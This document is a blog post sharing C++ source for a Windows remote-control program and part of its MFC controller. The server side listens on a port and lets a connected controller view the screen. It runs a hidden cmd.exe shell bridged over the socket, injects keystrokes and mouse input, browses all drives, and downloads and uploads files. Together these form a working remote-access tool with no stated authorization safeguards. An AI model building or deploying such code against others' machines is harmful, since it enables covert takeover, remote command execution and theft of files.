首页 > 其他分享 >远控

远控

时间:2023-04-20 22:45:48浏览次数:28  
标签:CFileDlg void 远控 fData INPUT Input NULL

// Remote.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <thread>
using namespace std;
#include "InitSockLib.h"
#include "Proto.h"

bool g_IsRun = true;
void CmdThread();

HANDLE hCmdRead = NULL;
HANDLE hParentWrite = NULL;

HANDLE hParentRead = NULL;
HANDLE hCmdWrite = NULL;
HANDLE hCmdHandle;
SOCKET  g_Svrsock;

int main()
{
  //创建socket
  SOCKET sockListen = socket(AF_INET,
    SOCK_STREAM, //数据流
    IPPROTO_TCP  //tcp协议
  );
  if (sockListen == INVALID_SOCKET)
  {
    cout << "socket failed" << endl;
    return 0;
  }
  
  //绑定端口
  sockaddr_in si;
  si.sin_family = AF_INET;
  si.sin_port = htons(0x9527);
  si.sin_addr.S_un.S_addr = inet_addr("192.168.233.130");

 

  int nRet = ::bind(sockListen, (sockaddr*)&si, sizeof(si));
  if (nRet != 0)
  {
    cout << "bind failed" << endl;
    return 0;
  }

 

  //监听
  nRet = listen(sockListen, SOMAXCONN);
  if (nRet == SOCKET_ERROR)
  {
    cout << "listen failed" << endl;
    return 0;
  }

  cout << "监听端口9527h, 等待控制端连接 。。。。 "<<endl;

  sockaddr_in siClient={};
  int nLen = sizeof(siClient);
  SOCKET sock = accept(sockListen, (sockaddr*)&siClient, &nLen);
  if (sock == INVALID_SOCKET)
  {
    cout << "accept failed" << endl;
    return 0;
  }
  g_Svrsock = sock;
  printf("ip:%s port:%d 连接进入 。。。。 \r\n",
    inet_ntoa(siClient.sin_addr),
    ntohs(siClient.sin_port));

  string downPath;
  HANDLE htargetFile;

  while (true)
  {
    //接受命令
    auto pPkg = RecvPackage(sock);
    switch (pPkg->m_pt)
    {
    case C2R_SCREEN:
    {
      //获取屏幕数据
      HDC hDcScr = ::GetDC(NULL);

      int nBytesPerixel = GetDeviceCaps(hDcScr, BITSPIXEL)/8; //RGB 888
      int nWidth = GetDeviceCaps(hDcScr, HORZRES);
      int nHeight = GetDeviceCaps(hDcScr, VERTRES);

      HDC hDcMem = ::CreateCompatibleDC(hDcScr);
      HBITMAP hBmpMem = ::CreateCompatibleBitmap(hDcScr, nWidth, nHeight);
      ::SelectObject(hDcMem, hBmpMem);

      ::BitBlt(hDcMem, 0, 0, nWidth, nHeight, hDcScr, 0, 0, SRCCOPY);

      uint32_t nDataLen = nWidth* nHeight* nBytesPerixel;
      uint8_t* pScrData = new uint8_t[nDataLen];

      ::GetBitmapBits(hBmpMem, nDataLen, pScrData);
      
     // ReleaseDC(hDcScr); 清理资源

      //构造返回包
      shared_ptr<PkgHeader> pPkg = MakePackage<R2CScreen>(nDataLen, nWidth, nHeight, pScrData, nDataLen);

      //返回数据
      SendPackage(sock, pPkg);

      Log("[CR] 返回屏幕数据");

      break;
    }
    case INIT_CMD:
    {
        SECURITY_ATTRIBUTES sa = {};
        sa.nLength = sizeof(sa);
        sa.bInheritHandle = TRUE;
        BOOL bRet = CreatePipe(&hCmdRead, &hParentWrite, &sa, 0);
        if (!bRet)
        {
            OutputDebugString(TEXT("创建第一管道失败"));
        }
        bRet = CreatePipe(&hParentRead, &hCmdWrite, &sa, 0);
        if (!bRet)
        {
            OutputDebugString(TEXT("创建第二管道失败"));
        }

        //创建CMD进程
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = hCmdRead;//子进程读数据的句柄
        si.hStdOutput = hCmdWrite;//子进程写数据的句柄
        si.hStdError = hCmdWrite;
        ZeroMemory(&pi, sizeof(pi));

        TCHAR szCommandline[MAX_PATH] = TEXT("cmd.exe");
        if (!CreateProcess(NULL, // No module name (use command line). 
            szCommandline, // Command line. 
            NULL,             // Process handle not inheritable. 
            NULL,             // Thread handle not inheritable. 
            TRUE,            // Set handle inheritance to FALSE. 
            CREATE_NO_WINDOW,                // No creation flags. 
            NULL,             // Use parent's environment block. 
            NULL,             // Use parent's starting directory. 
            &si,              // Pointer to STARTUPINFO structure.
            &pi)             // Pointer to PROCESS_INFORMATION structure.
            )
        {
            OutputDebugString("进程创建失败");
        }

        hCmdHandle = pi.hProcess;
        CloseHandle(pi.hThread);
        thread t(CmdThread);
        t.detach();
        break;
    }
    case C2R_CMD:
    {
        //写入管道
        C2RCMD* pCmdPkg = (C2RCMD*)pPkg.get();

        DWORD dwBytesWrited = 0;
        BOOL bRet = WriteFile(hParentWrite, ((char*)pCmdPkg + sizeof(C2RCMD)), pCmdPkg->m_nLen, &dwBytesWrited, NULL);
        if (!bRet)
        {
            OutputDebugString(TEXT("写入失败"));
        }
        break;
    }
    case C2R_KEYDOWN:
    {
        C2RKEYDOWN*pKeyPkg= (C2RKEYDOWN*)pPkg.get();
        keybd_event((int)pKeyPkg->m_cKey, 0, 0, 0);
        keybd_event((int)pKeyPkg->m_cKey, 0, KEYEVENTF_KEYUP, 0);
        cout << (int)pKeyPkg->m_cKey << endl;
        break;
    }
    case C2R_MOUSEDOWN:
    {
        C2RMOUSEDOWN* pKeyPkg = (C2RMOUSEDOWN*)pPkg.get();
        switch (pKeyPkg->m_MouseType)
        {
        case LBD:
        {
            INPUT    Input = { 0 };
            // 左键按下
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
            ::SendInput(1, &Input, sizeof(INPUT));
            
            break;
        }
        case LBU:
        {
            INPUT    Input = { 0 };
            // 左键弹起
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
            ::SendInput(1, &Input, sizeof(INPUT));
            break;
        }
            
            //mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, pKeyPkg->m_nX, pKeyPkg->m_nY, 0, 0);
    
        case LD:
        {
            INPUT    Input = { 0 };
            // 左键按下
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
            ::SendInput(1, &Input, sizeof(INPUT));
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
            ::SendInput(1, &Input, sizeof(INPUT));

            // 左键按下
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
            ::SendInput(1, &Input, sizeof(INPUT));
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
            ::SendInput(1, &Input, sizeof(INPUT));
        }
            
        //    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, pKeyPkg->m_nX, pKeyPkg->m_nY, 0, 0);
        //    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, pKeyPkg->m_nX, pKeyPkg->m_nY, 0, 0);
            break;
        case RBD:
        {
            INPUT    Input = { 0 };
            // 右键按下
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_RIGHTDOWN;
            ::SendInput(1, &Input, sizeof(INPUT));
        
            break;
        }
        case RBU:
        {
            INPUT    Input = { 0 };
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_RIGHTUP;
            ::SendInput(1, &Input, sizeof(INPUT));
            break;
        }
            
            //    mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, pKeyPkg->m_nX, pKeyPkg->m_nY, 0, 0);
            
        case MOVE:
        {

            double fScreenWidth = ::GetSystemMetrics(SM_CXSCREEN) - 1;
            double fScreenHeight = ::GetSystemMetrics(SM_CYSCREEN) - 1;
            double fx = pKeyPkg->m_nX * (65535.0f / fScreenWidth);
            double fy = pKeyPkg->m_nY * (65535.0f / fScreenHeight);
            INPUT  Input = { 0 };
            Input.type = INPUT_MOUSE;
            Input.mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE;
            Input.mi.dx = fx;
            Input.mi.dy = fy;
            ::SendInput(1, &Input, sizeof(INPUT));
            break;
        }
        }
    
        cout << pKeyPkg->m_MouseType << "\t" << pKeyPkg->m_nX << "\t" << pKeyPkg->m_nY << endl;
        break;
    }
    case C2R_FILEINIT:
    {
        char szDrive[MAX_PATH] = { 0 };
        GetLogicalDriveStrings(MAX_PATH, szDrive);
        char* pDriveName = szDrive;
        while (*pDriveName != 0)
        {

            if (pDriveName[strlen(pDriveName) - 1] == '\\')
            {
                pDriveName[strlen(pDriveName) - 1] = 0;
            }
            //m_tree_file.InsertItem(pDriveName);
            shared_ptr<PkgHeader> pPkg = MakePackage<R2CFILEINIT>(strlen(pDriveName)+1,(uint8_t*) pDriveName, strlen(pDriveName)+1);

            //返回数据
            SendPackage(sock, pPkg);

            pDriveName += strlen(pDriveName);
            pDriveName += 2;
        }


        break;
    }
    case  C2R_FILETREE:
    {
        C2RFILETREE*pFileTree=(C2RFILETREE*)pPkg.get();
        HANDLE hFind = INVALID_HANDLE_VALUE;
        WIN32_FIND_DATA fData = { 0 };
        string temp = ((char*)pFileTree + sizeof(C2RFILETREE));
        temp += "*";
        cout << temp << endl;
        hFind = FindFirstFile(temp.c_str(), &fData);
        if (hFind == INVALID_HANDLE_VALUE)
        {
            break;
        }
        do {
            if (string(fData.cFileName) == ".." || string(fData.cFileName) == ".")
            {
                continue;
            }
            //m_tree_file.InsertItem(fData.cFileName, i, i + 1, hItem, nullptr);
            shared_ptr<PkgHeader> pPkg = MakePackage<R2CFILETREE>(strlen(fData.cFileName)+1,
                (uint8_t*)fData.cFileName, strlen(fData.cFileName) +1);
            cout << fData.cFileName << endl;
            //返回数据
            SendPackage(sock, pPkg);
            
        } while (FindNextFile(hFind, &fData));
        break;
    }
    case  C2R_FILELIST:
    {
        C2RFILELIST* pFileList = (C2RFILELIST*)pPkg.get();
        WIN32_FIND_DATA fData = { 0 };
        HANDLE hFind = INVALID_HANDLE_VALUE;
        string CurPath = (char*)pFileList + sizeof(C2RFILELIST);
        CurPath += "\\";
        downPath = CurPath;
        CurPath += "*";
        
        hFind = FindFirstFile(CurPath.c_str(), &fData);
        if (hFind == INVALID_HANDLE_VALUE)
        {
            break;
        }
        do {

            if (string(fData.cFileName) == ".." || string(fData.cFileName) == ".")
            {
                continue;
            }
            //DWORD nIndex = m_list_file.GetItemCount();
        //    m_list_file.InsertItem(nIndex, fData.cFileName);

            if (fData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
            //    m_list_file.SetItemText(nIndex, 1, "文件夹");
                shared_ptr<PkgHeader> pPkg = MakePackage<R2CFILELIST>(strlen(fData.cFileName) + 1,
                    (uint8_t*)fData.cFileName,true, fData.nFileSizeLow+fData.nFileSizeHigh>>32, strlen(fData.cFileName) + 1);
                cout << fData.cFileName << endl;
                //返回数据
                SendPackage(sock, pPkg);
            }
            else
            {
                //string str = fData.cFileName;

                //string temp = str.c_str() + str.find_last_of(".");
                //m_list_file.SetItemText(nIndex, 1, temp.c_str());

                shared_ptr<PkgHeader> pPkg = MakePackage<R2CFILELIST>(strlen(fData.cFileName) + 1,
                    (uint8_t*)fData.cFileName, false, fData.nFileSizeLow + fData.nFileSizeHigh >> 32, strlen(fData.cFileName) + 1);
                cout << fData.cFileName << endl;
                //返回数据
                SendPackage(sock, pPkg);
            }

        } while (FindNextFile(hFind, &fData));
        break;
    }
    case  C2R_FILEDOWN:
    {
        C2RFILEDOWN* pFileList = (C2RFILEDOWN*)pPkg.get();
        string file = downPath + ((char*)pFileList + sizeof(C2RFILEDOWN));
        //1. 打开文件 - `CreateFile`
        HANDLE hFile = CreateFile(
            file.c_str(), //文件路径
            GENERIC_READ | GENERIC_WRITE, //可读可写
            NULL, //共享读
            NULL,
            OPEN_EXISTING, //打开已经存在的文件
            FILE_ATTRIBUTE_NORMAL, //文件属性
            NULL
        );
        cout << file << endl;
        if (hFile == INVALID_HANDLE_VALUE)
        {
            return 0;
        }
        DWORD lowSize = 0;
        DWORD highSize = 0;
        lowSize = GetFileSize(hFile, &highSize);
        long long FileSize = (highSize << 32) + lowSize;
        char ByteBuffer[0x1000] = {};
        DWORD ReadSize = 0;
        while (FileSize>0)
        {
            ReadFile(hFile, ByteBuffer, 0x1000, &ReadSize, NULL);
            FileSize -= ReadSize;
            shared_ptr<PkgHeader> pPkg = MakePackage<R2CFILEDOWN>(ReadSize,
                (uint8_t*)ByteBuffer,false, ReadSize);
            //返回数据
            SendPackage(sock, pPkg);
            cout << "down" << endl;
            cout << "ReadSize" << endl;
        }
        shared_ptr<PkgHeader> pPkg = MakePackage<R2CFILEDOWN>(0,(uint8_t*)0, true, 0);
        //返回数据
        SendPackage(sock, pPkg);
        cout << "down finsh" << endl;
        CloseHandle(hFile);
        break;
    }
    case C2R_FILEUPINIT:
    {
        C2RFILEUPINIT *pFileInit=(C2RFILEUPINIT*)pPkg.get();
        string fileName = downPath + ((char*)pFileInit + sizeof(C2RFILEUPINIT));
        htargetFile = CreateFile(
            fileName.c_str(), //文件路径
            GENERIC_READ | GENERIC_WRITE, //可读可写
            NULL, //共享读
            NULL,
            CREATE_ALWAYS, //打开已经存在的文件
            FILE_ATTRIBUTE_NORMAL, //文件属性
            NULL
        );
        cout << "up init" << endl;
        break;
    }
    case C2R_FILEUP:
    {
        cout << "up com" << endl;
        C2RFILEUP* pFileUp = (C2RFILEUP*)pPkg.get();
        if (pFileUp->m_isFinsh)
        {
            cout << "up end" << endl;
            CloseHandle(htargetFile);
        }
        else
        {
            cout << "up ing" << endl;
            DWORD WriteSize = 0;
            WriteFile(htargetFile, ((char*)pFileUp+sizeof(C2RFILEUP)), 
                pFileUp->m_nLen - 1, &WriteSize, NULL);
        }
        
        break;
    }
    default:
      break;
    }
  }

   std::cout << "Hello World!\n";
}


void CmdThread()
{
    while (g_IsRun)
    {
        DWORD dwAvailNum = 0; //管道中剩余可读数据的大小
        BOOL bRet = PeekNamedPipe(hParentRead, NULL, 0, NULL, &dwAvailNum, NULL);
        if (!bRet)
        {
            return;
        }

        if (dwAvailNum > 0)
        {
            //读取管道数据
            char cBuf[0x1000] = {};
            DWORD dwBytesReaded = 0;
            BOOL bRet = ReadFile(hParentRead, cBuf, sizeof(cBuf), &dwBytesReaded, NULL);
            if (!bRet)
            {
                OutputDebugString(TEXT("读取失败"));
            }
            else
            {
                SendPackage(g_Svrsock, MakePackage<R2CCMD>((uint32_t)(dwBytesReaded+1),
                    (uint8_t*)cBuf, (uint32_t)(dwBytesReaded + 1)));
            }
        }
        Sleep(1);
    }
}

 

#pragma once


// CFileDlg 对话框

class CFileDlg : public CDialogEx
{
    DECLARE_DYNAMIC(CFileDlg)

public:
    CFileDlg(CWnd* pParent = nullptr);   // 标准构造函数
    virtual ~CFileDlg();

// 对话框数据
#ifdef AFX_DESIGN_TIME
    enum { IDD = DLG_FILE };
#endif

protected:
    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持

    DECLARE_MESSAGE_MAP()
public:
    CListCtrl m_fileList;
    CTreeCtrl m_fileTree;
    virtual BOOL OnInitDialog();
    void InitFileTree(char*cfileName);
    afx_msg void OnDblclkTree1(NMHDR* pNMHDR, LRESULT* pResult);
    CString m_tree_path;
    CString m_CurPath;
    void ShowTreeFile();
    void ShowFileInfo();
    HTREEITEM m_hItem;
    void InsertTree(char* cFileName);
    void InsertList(char* cFileName, bool isFile, long long llSize);
    afx_msg void OnDblclkList1(NMHDR* pNMHDR, LRESULT* pResult);
    afx_msg void OnBnClickedButton2();
//    CString m_fileDownPath;
//    CString m_filePathDown;
    //CString m_filePathDown;
    CMFCEditBrowseCtrl m_filePathDown;
    CString m_targetPath;
    afx_msg void OnBnClickedButton3();
    void DownFile(char* fileData, bool isFinsh, DWORD ReadSize);
    HANDLE m_htargetFile;
    afx_msg void OnBnClickedButton1();
};
// CFileDlg.cpp: 实现文件
//

#include "pch.h"
#include "Controller.h"
#include "CFileDlg.h"
#include "afxdialogex.h"
#include "Proto.h"

using namespace std;
#include <string>


// CFileDlg 对话框

IMPLEMENT_DYNAMIC(CFileDlg, CDialogEx)

CFileDlg::CFileDlg(CWnd* pParent /*=nullptr*/)
    : CDialogEx(DLG_FILE, pParent)
//    , m_fileDownPath(_T(""))
//, m_filePathDown(_T(""))
//, m_filePathDown(_T(""))
, m_targetPath(_T(""))
{

}

CFileDlg::~CFileDlg()
{
}

void CFileDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialogEx::DoDataExchange(pDX);
    DDX_Control(pDX, IDC_LIST1, m_fileList);
    DDX_Control(pDX, IDC_TREE1, m_fileTree);
    //DDX_Text(pDX, IDC_MFCEDITBROWSE1, m_fileDownPath);
    //DDX_Text(pDX, IDC_MFCEDITBROWSE1, m_filePathDown);
    //DDX_Text(pDX, IDC_MFCEDITBROWSE1, m_filePathDown);
    DDX_Control(pDX, IDC_MFCEDITBROWSE1, m_filePathDown);
    DDX_Text(pDX, IDC_EDIT1, m_targetPath);
}


BEGIN_MESSAGE_MAP(CFileDlg, CDialogEx)
    ON_NOTIFY(NM_DBLCLK, IDC_TREE1, &CFileDlg::OnDblclkTree1)
    ON_NOTIFY(NM_DBLCLK, IDC_LIST1, &CFileDlg::OnDblclkList1)
    ON_BN_CLICKED(IDC_BUTTON2, &CFileDlg::OnBnClickedButton2)
    ON_BN_CLICKED(IDC_BUTTON3, &CFileDlg::OnBnClickedButton3)
    ON_BN_CLICKED(IDC_BUTTON1, &CFileDlg::OnBnClickedButton1)
END_MESSAGE_MAP()


// CFileDlg 消息处理程序


BOOL CFileDlg::OnInitDialog()
{
    CDialogEx::OnInitDialog();

    // TODO:  在此添加额外的初始化
    m_fileList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
    m_fileList.InsertColumn(0, TEXT("文件名"), 0, 200);
    m_fileList.InsertColumn(1, TEXT("类型"), 0, 150);
    m_fileList.InsertColumn(2, TEXT("文件大小"), 0, 100);

    //设置风格,树带线
    m_fileTree.ModifyStyle(0,
        TVS_HASLINES | TVS_LINESATROOT | TVS_HASBUTTONS | TVS_SHOWSELALWAYS);
    m_fileList.SetExtendedStyle(m_fileList.GetExtendedStyle() |
        LVS_EX_GRIDLINES | LVS_EX_FULLROWSELECT);
    SendPackage(g_sock, MakePackage<C2RFILEINIT>(0));

    return TRUE;  // return TRUE unless you set the focus to a control
                  // 异常: OCX 属性页应返回 FALSE
}

void CFileDlg::InitFileTree(char* cfileName)
{

    m_fileTree.InsertItem(CString(cfileName));
}


void CFileDlg::OnDblclkTree1(NMHDR* pNMHDR, LRESULT* pResult)
{
    // TODO: 在此添加控件通知处理程序代码
    HTREEITEM hmyItem = m_fileTree.GetSelectedItem();
    m_hItem = hmyItem;
    // Delete all of the children of hmyItem.
    if (m_fileTree.ItemHasChildren(hmyItem))
    {
        HTREEITEM hNextItem;
        HTREEITEM hChildItem = m_fileTree.GetChildItem(hmyItem);

        while (hChildItem != NULL)
        {
            hNextItem = m_fileTree.GetNextItem(hChildItem, TVGN_NEXT);
            m_fileTree.DeleteItem(hChildItem);
            hChildItem = hNextItem;
        }
    }

    ShowTreeFile();

    char nTemp[MAX_PATH] = {};
    strcpy_s(nTemp, MAX_PATH, m_tree_path);
    if (nTemp[_tcslen(nTemp) - 1] == '\\')
    {
        nTemp[_tcslen(nTemp) - 1] = 0;
    }
    m_CurPath = nTemp;

    ShowFileInfo();

    *pResult = 0;
}


void CFileDlg::ShowTreeFile()
{
    //m_hItem = m_fileTree.GetSelectedItem();
    HTREEITEM hTempItem = m_hItem;
    CString cstr;
    m_tree_path = "";
    if (m_fileTree.GetParentItem(m_hItem) == NULL)
    {
        m_tree_path = m_fileTree.GetItemText(m_hItem);
        m_tree_path += "\\";
    }
    else
    {
        do
        {
            cstr = m_fileTree.GetItemText(m_hItem);
            cstr += "\\";
            m_hItem = m_fileTree.GetParentItem(m_hItem);
            m_tree_path = cstr + m_tree_path;
        } while (m_hItem != NULL);
    }
    m_hItem = hTempItem;

    WIN32_FIND_DATA fData = { 0 };
    HANDLE hFind = INVALID_HANDLE_VALUE;

    char buffer[100] = {};
    wsprintf(buffer, "%s", m_tree_path.GetBuffer());

    SendPackage(g_sock, MakePackage<C2RFILETREE>(strlen(buffer)+1,
        (uint8_t*)buffer, strlen(buffer)+1));

}


void CFileDlg::InsertTree(char*cFileName)
{
    m_fileTree.InsertItem(cFileName, m_hItem);

}

void CFileDlg::OnDblclkList1(NMHDR* pNMHDR, LRESULT* pResult)
{
    LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
    // TODO: 在此添加控件通知处理程序代码
    CString nDir;
    DWORD nIndex = m_fileList.GetSelectionMark();//检索列表视图控件的选择标记。
    if (nIndex == -1) return;
    nDir = m_fileList.GetItemText(nIndex, 0);


    char nTemp[MAX_PATH] = {};

    strcpy_s(nTemp, MAX_PATH, nDir);


    if (nTemp[_tcslen(nTemp) - 1] == '\\')
    {
        nTemp[_tcslen(nTemp) - 1] = 0;
        m_CurPath += nTemp;
        ShowFileInfo(); //调用PrintFile

        //m_tree_path = m_CurPath + "\\";
        //ShowTreeFile();
    }
    else if (nDir == "计算机")
    {
        m_CurPath = "计算机";
        ShowFileInfo();           //调用PrintFile
    }
    else if (!strstr(nTemp, "."))
    {
        m_CurPath += nTemp;
        ShowFileInfo(); //调用PrintFile
    //    m_tree_path = m_CurPath + "\\";
    //    ShowTreeFile();
    }

    *pResult = 0;
}



void CFileDlg::InsertList(char* cFileName, bool isFile, long long llSize)
{
    DWORD nIndex = m_fileList.GetItemCount();
    m_fileList.InsertItem(nIndex, cFileName);

    if (isFile)
    {
        m_fileList.SetItemText(nIndex, 1, "文件夹");
    }
    else
    {
        string str = cFileName;

        string temp = str.c_str() + str.find_last_of(".");
        m_fileList.SetItemText(nIndex, 1, temp.c_str());
    }


    CString nFileSize;
    /*if (llSize < 1024)
        nFileSize.Format(TEXT("%lf B"), llSize);

    else
        nFileSize.Format(TEXT("%lf Kb"), (llSize / 1024.0));*/

    if (!isFile)
    {
        nFileSize.Format("%d字节", llSize);
        m_fileList.SetItemText(nIndex, 2, nFileSize);
    }
        
}



void CFileDlg::ShowFileInfo()
{
    m_fileList.DeleteAllItems();
    if (m_CurPath.IsEmpty())
    {
        return;
    }
    else {

        WIN32_FIND_DATA fData = { 0 };
        HANDLE hFind = INVALID_HANDLE_VALUE;

        m_CurPath += "\\";
        char buffer[100] = {};
        wsprintf(buffer, "%s", m_CurPath.GetBuffer());

        SendPackage(g_sock, MakePackage<C2RFILELIST>(strlen(buffer) + 1,
            (uint8_t*)buffer, strlen(buffer) + 1));
    /*    hFind = FindFirstFile(m_CurPath + "*", &fData);
        if (hFind == INVALID_HANDLE_VALUE)
        {
            return;
        }

        do {

            if (CString(fData.cFileName) == ".." || CString(fData.cFileName) == ".")
            {
                continue;
            }
            DWORD nIndex = m_fileList.GetItemCount();
            m_fileList.InsertItem(nIndex, fData.cFileName);

            if (fData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                m_fileList.SetItemText(nIndex, 1, "文件夹");
            }
            else
            {
                string str = fData.cFileName;

                string temp = str.c_str() + str.find_last_of(".");
                m_fileList.SetItemText(nIndex, 1, temp.c_str());
            }


            CString nFileSize;
            if (fData.nFileSizeLow < 1024)
                nFileSize.Format(TEXT("%d B"), fData.nFileSizeLow);

            else
                nFileSize.Format(TEXT("%d Kb"), (DWORD)(fData.nFileSizeLow / 1024.0));

            if (fData.nFileSizeLow)
                m_fileList.SetItemText(nIndex, 2, nFileSize);

        } while (FindNextFile(hFind, &fData));*/

    }
}

//下载
void CFileDlg::OnBnClickedButton2()
{
    // TODO: 在此添加控件通知处理程序代码
    //UpdateData(TRUE);
    //获取当前选中行数
    CString FileName=m_fileList.GetItemText(m_fileList.GetSelectionMark(), 0);//获取文本
    char buffer[100] = {};
    wsprintf(buffer, "%s", FileName.GetBuffer());
    //CString filePath;
    // m_filePathDown.GetWindowTextA(filePath);

    SendPackage(g_sock, MakePackage<C2RFILEDOWN>(strlen(buffer) + 1,
        (uint8_t*)buffer, strlen(buffer) + 1));
    m_targetPath += "\\";
    m_htargetFile = CreateFile(
        m_targetPath+ FileName, //文件路径
        GENERIC_READ | GENERIC_WRITE, //可读可写
        NULL, //共享读
        NULL,
        CREATE_ALWAYS, //打开已经存在的文件
        FILE_ATTRIBUTE_NORMAL, //文件属性
        NULL
    );


}


void CFileDlg::OnBnClickedButton3()
{
    // TODO: 在此添加控件通知处理程序代码
    BROWSEINFO bInfo;
    ZeroMemory(&bInfo, sizeof(bInfo));
    bInfo.hwndOwner = m_hWnd;
    char tchPath[255];
    bInfo.lpszTitle = _T("所选择路径: ");
    bInfo.ulFlags = BIF_RETURNONLYFSDIRS;

    LPITEMIDLIST lpDlist;
    //用来保存返回信息的IDList,使用SHGetPathFromIDList函数转换为字符串
    lpDlist = SHBrowseForFolder(&bInfo); //显示选择对话框
    if (lpDlist != NULL)
    {
        SHGetPathFromIDList(lpDlist, tchPath);//把项目标识列表转化成目录
        m_targetPath = tchPath;
        UpdateData(FALSE);
    }
}


void CFileDlg::DownFile(char*fileData, bool isFinsh, DWORD ReadSize)
{
    if (isFinsh)
    {
        CloseHandle(m_htargetFile);
    }
    else
    {
        DWORD WriteSize = 0;
        WriteFile(m_htargetFile, fileData, ReadSize-1, &WriteSize, NULL);
    }
}

void CFileDlg::OnBnClickedButton1()
{
    // TODO: 在此添加控件通知处理程序代码
    CString fileName;
    m_filePathDown.GetWindowTextA(fileName);

    //1. 打开文件 - `CreateFile`
    HANDLE hFile = CreateFile(
        fileName, //文件路径
        GENERIC_READ | GENERIC_WRITE, //可读可写
        NULL, //共享读
        NULL,
        OPEN_EXISTING, //打开已经存在的文件
        FILE_ATTRIBUTE_NORMAL, //文件属性
        NULL
    );

    fileName = fileName.Right(fileName.GetLength() - fileName.ReverseFind('\\') - 1);
    char buffer[100] = {};
    wsprintf(buffer, "%s", fileName.GetBuffer());
    SendPackage(g_sock, MakePackage<C2RFILEUPINIT>(strlen(buffer) + 1,
        (uint8_t*)buffer, strlen(buffer) + 1));

    if (hFile == INVALID_HANDLE_VALUE)
    {
        return ;
    }
    DWORD lowSize = 0;
    DWORD highSize = 0;
    lowSize = GetFileSize(hFile, &highSize);
    long long FileSize = (highSize << 32) + lowSize;
    char ByteBuffer[0x1000] = {};
    DWORD ReadSize = 0;
    while (FileSize > 0)
    {
        ReadFile(hFile, ByteBuffer, 0x1000, &ReadSize, NULL);
        FileSize -= ReadSize;
        shared_ptr<PkgHeader> pPkg = MakePackage<C2RFILEUP>(ReadSize,
            (uint8_t*)ByteBuffer, false, ReadSize);
        //返回数据
        SendPackage(g_sock, pPkg);
        
    }
    shared_ptr<PkgHeader> pPkg = MakePackage<C2RFILEUP>(0, (uint8_t*)0, true, 0);
    //返回数据
    SendPackage(g_sock, pPkg);

    CloseHandle(hFile);
}

 

标签:CFileDlg,void,远控,fData,INPUT,Input,NULL
From: https://www.cnblogs.com/yewu1/p/17338606.html

相关文章

  • 向日葵远控引起的服务器cpu占用100%
     一台生产用服务器试产,工程反馈追溯系统反应慢,检查网络没有问题,ping服务器没有异常,无掉包,反应ms极,准备重启服务器,远程到服务器发现服务器占用100%,检查发现向日葵远控占......
  • 评测5款国内外免费远控,谁是最好用第一名?
    远程控制应用不少人都有了解使用过,尤其是会常用电脑进行工作的群体,比如程序员、设计师、运维、文员等岗位。在隔离居家远程办公时,通过家里的手机、平板或电脑跨系统、跨设备......
  • 基于SSTI的木马远控编写
    基于SSTI的木马远控编写起因是要交实习作业,编写渗透测试平台,我觉得没有页面展示的平台算什么平台,于是乎写了个pythonflask+jinja2的web页面,但是在写后门远控这一块的时候......
  • win10 远程桌面和向日葵远控哪个好用
    win10远程桌面和向日葵远控哪个好用如今,远程办公已经成为许多在家工作,电子通勤的必备工作模式,这种工作方式的诞生,也让我们自由安排工作时间,少了很多上班通勤的时间,在家里......
  • 暴雪、迪士尼大佬用什么画画?RayLink远控软件助力解锁远程创作
    CG绘画从业者,如原画师、插画师、漫画家、设计师等,一定对数位板\数位屏不陌生,数位板\数位屏是完成CG绘画作品的重要绘图工具之一。从画画小白到数字绘画大神,从0基础插画培......
  • “NOPEN”远控木马分析报告
    “NOPEN”远控木马分析报告发布日期:2022年09月02日    点击:44近日,国家计算机病毒应急处理中心对名为“NOPEN”的木马工具进行了攻击场景复现和技术分析。该木马......
  • RayLink 远控软件又推出 2 个重磅宝藏功能免费用
    你有没有在远程办公时,担心他人偷窥电脑?以致于保密性资料或私密信息,遭到泄露、创意被剽窃......又或是遇到过邻座同事屏幕前明明没人,鼠标箭头却自个浏览起网页的惊悚画面?如......
  • BadUSB超详细制作, 实现CobaltStrike远控上线
    前言在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员KarstenNohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(......
  • 大灰狼远控木马分析
    <title></title>⼤灰狼远控⽊⻢分析⼤灰狼RAT分析样本为远控客户端,样本联⽹下载⼤灰狼远控dll,其导出函数DllFuUpgradrs注册⾃启服务、连接服务端,接收服务端指令来......
  • 用了这跨操作系统远控软件,我再也不出差了
    远程调试的困境对于IOT终端产品开发来说,调试有很多问题,无法复现产品的问题、无法查看出问题当时的log、需要指导用户进行tar包升级,无法查看远程设备状态。有的时候需要一......